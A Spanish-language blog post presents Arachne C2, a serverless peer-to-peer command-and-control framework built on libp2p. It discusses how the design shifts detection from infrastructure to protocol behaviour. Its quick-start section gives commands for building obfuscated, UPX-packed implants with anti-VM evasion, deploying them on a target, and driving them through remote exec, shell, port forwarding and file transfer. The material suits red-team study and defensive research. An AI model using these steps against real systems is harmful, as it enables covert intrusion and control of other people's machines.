Arachne C2: cuando el Team Server deja de existir

Existe un supuesto que prácticamente nadie cuestiona cuando diseña un framework de Command & Control: en algún lugar debe existir un servidor.

Puede estar oculto detrás de una CDN, protegido mediante redirectors, balanceado entre varios VPS o encapsulado tras múltiples capas de infraestructura efímera, pero siempre termina existiendo un punto lógico donde convergen operadores e implantes. Toda la evolución de los C2 modernos —desde Cobalt Strike hasta Sliver o Havoc— ha consistido en hacer ese servidor más resistente, más flexible o más difícil de descubrir. Muy pocos proyectos se preguntan si ese servidor debería existir siquiera.

Pues hoy os traemos una herramienta de C2 que parte precisamente de esa pregunta: Arachne C2.

El siguiente esquema refleja la arquitectura pública del proyecto: una topología descentralizada sin servidor C2 central, con descubrimiento P2P mediante DHT, mensajería PubSub (GossipSub) y comunicaciones autenticadas y cifradas entre el operador y los agentes.

Lo interesante del proyecto no es que utilice libp2p, ni que implemente DHT, ni siquiera que emplee GossipSub como mecanismo de distribución de mensajes. Lo realmente relevante es el cambio de paradigma que propone: sustituir completamente el modelo cliente-servidor por una red distribuida donde la infraestructura deja de ser el elemento alrededor del cual gira toda la operación.

Puede parecer una diferencia puramente arquitectónica, pero operacionalmente supone replantear algunos de los supuestos sobre los que se han construido las operaciones de Red Team durante los últimos quince años.

En un C2 tradicional, la infraestructura constituye tanto el activo más importante como el mayor riesgo operativo. El operador dedica una cantidad considerable de esfuerzo a desplegar servidores, configurar dominios, adquirir certificados TLS, implementar redirectors, establecer perfiles de tráfico convincentes y diseñar mecanismos que permitan rotar toda esa infraestructura cuando inevitablemente termine siendo identificada. El trabajo no consiste únicamente en mantener la comunicación con los implantes; consiste en mantener con vida el Team Server. 

Arachne elimina completamente ese problema porque elimina el propio concepto de Team Server. No existe una dirección IP que actúe como punto central de coordinación. No existe un endpoint HTTP esperando conexiones. No existe un dominio cuya reputación pueda degradarse ni un certificado cuya huella pueda convertirse en un IOC. Lo único que existe es una colección de peers que comparten una red overlay construida mediante libp2p y que se identifican exclusivamente mediante identidades criptográficas persistentes.

Por otro lado, la mayor parte de los C2 modernos dedican enormes esfuerzos a camuflar el transporte. HTTP/2, WebSockets, QUIC o mTLS persiguen un objetivo común: parecer tráfico legítimo. Arachne, sin embargo, no intenta disfrazar la comunicación como tráfico web. Asume explícitamente un modelo de red completamente distinto, basado en protocolos P2P bien definidos, donde el problema deja de ser parecer una aplicación empresarial y pasa a ser construir una red distribuida suficientemente robusta para prescindir de infraestructura dedicada. Esa decisión tiene implicaciones tanto ofensivas como defensivas.

Desde la perspectiva del operador desaparecen IOC clásicos como dominios, certificados, redirectors o servidores de staging. Pero, al mismo tiempo, aparecen otros completamente diferentes: patrones propios del protocolo Identify de libp2p, tráfico GossipSub, intercambios asociados a Kademlia, secuencias de establecimiento del transporte Noise, mecanismos de hole punching o la propia participación en una DHT pública. Es decir, la superficie de detección no desaparece; simplemente migra desde la infraestructura hacia el comportamiento del protocolo. Y probablemente ahí reside el aspecto más interesante de Arachne. No pretende resolver el problema de la detección. Lo desplaza a una capa completamente diferente del stack.

Inicio rápido

1. Ejecutar el operador

./bin/arachne

En la primera ejecución se genera un par de claves en:

• ~/.arachne/operator.key (clave privada)
• ~/.arachne/operator.pub (clave pública)

2. Compilar un implante

Desde la consola del operador (generate) o de forma independiente:

./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx

Parámetros disponibles:

• --os (linux, darwin, windows)
• --arch (amd64, arm64)
• --output
• --pubkey
• --upx (habilitado por defecto)
• --obfuscate
• --quiet
• --antivm

Opciones destacadas

• --obfuscate elimina nombres de funciones, rutas de paquetes y cadenas literales mediante garble (se instala automáticamente si no está presente). Puede combinarse con --upx para aumentar la protección del binario.

• --antivm incorpora detección de máquinas virtuales durante la compilación. El implante ejecuta más de 65 técnicas de detección, incluyendo:

  • Firmas CPUID
  • Prefijos MAC
  • DMI/SMBIOS
  • Identificadores de fabricantes PCI
  • Enumeración de procesos
  • Claves del registro
  • Detección de contenedores

  Todo ello utilizando un sistema de puntuación acumulativa compatible con VMAware. Si la puntuación supera el 50 %, el implante finaliza su ejecución de forma limpia.

  Implementado íntegramente en Go, sin necesidad de CGO ni compiladores cruzados.

Cada compilación genera un par de claves único embebido, por lo que el implante mantiene el mismo PeerID incluso después de reiniciarse.

3. Desplegar y ejecutar el implante

Copiar el binario al equipo de destino y ejecutarlo:

./myimplant

El implante localizará automáticamente al operador mediante la DHT, se registrará y comenzará a comunicarse a través de un flujo persistente utilizando un mecanismo automático de mantenimiento de la conexión (keepalive).

4. Utilizar la consola del operador

Desde el prompt del operador:

arachne> list
  0: user@hostname [linux/amd64] last=5s peer=12D3Koo...

arachne> select 0
arachne (user@hostname) > exec whoami

Comandos disponibles:

• list
• select <n>
• exec <comando>
• ls <ruta>
• cd <ruta>
• pwd
• ps
• shell
• portfwd <puerto> <host:puerto>
• download <ruta>
• upload <ruta>
• generate [opciones]
• regenerate
• help [comando]
• exit

Dentro de la shell interactiva, escriba exit o pulse Ctrl+] para regresar al prompt de Arachne.

Para obtener ayuda detallada de un comando:

help <comando>

o

<comando> --help
Comandos disponibles

Comando	Descripción
list	Muestra los implantes registrados.
select <idx>	Selecciona un implante por su índice.
ps	Lista los procesos del implante seleccionado.
ls <ruta>	Lista el contenido de un directorio.
cd <ruta>	Cambia el directorio de trabajo.
pwd	Muestra el directorio actual.
shell	Abre una shell interactiva mediante un flujo directo de libp2p. Salir con Ctrl+].
portfwd <puerto> <host:puerto>	Redirige un puerto local a través del implante.
exec <comando> [argumentos]	Ejecuta un comando y devuelve su salida.
download <ruta>	Descarga un archivo desde el implante.
upload <origen> <destino>	Sube un archivo al implante.
generate [opciones]	Compila un implante para cualquier sistema operativo y arquitectura. Instala automáticamente Go y garble si es necesario. Opciones disponibles: --os, --arch, --output, --pubkey, --upx, --obfuscate, --quiet, --antivm.
regenerate	Regenera el par de claves del operador. Los implantes existentes dejarán de poder comunicarse con el nuevo operador.
help [comando]	Muestra la ayuda general o la documentación de un comando concreto.
exit	Sale del operador.

Proyecto: https://github.com/portbuster1337/ArachneC2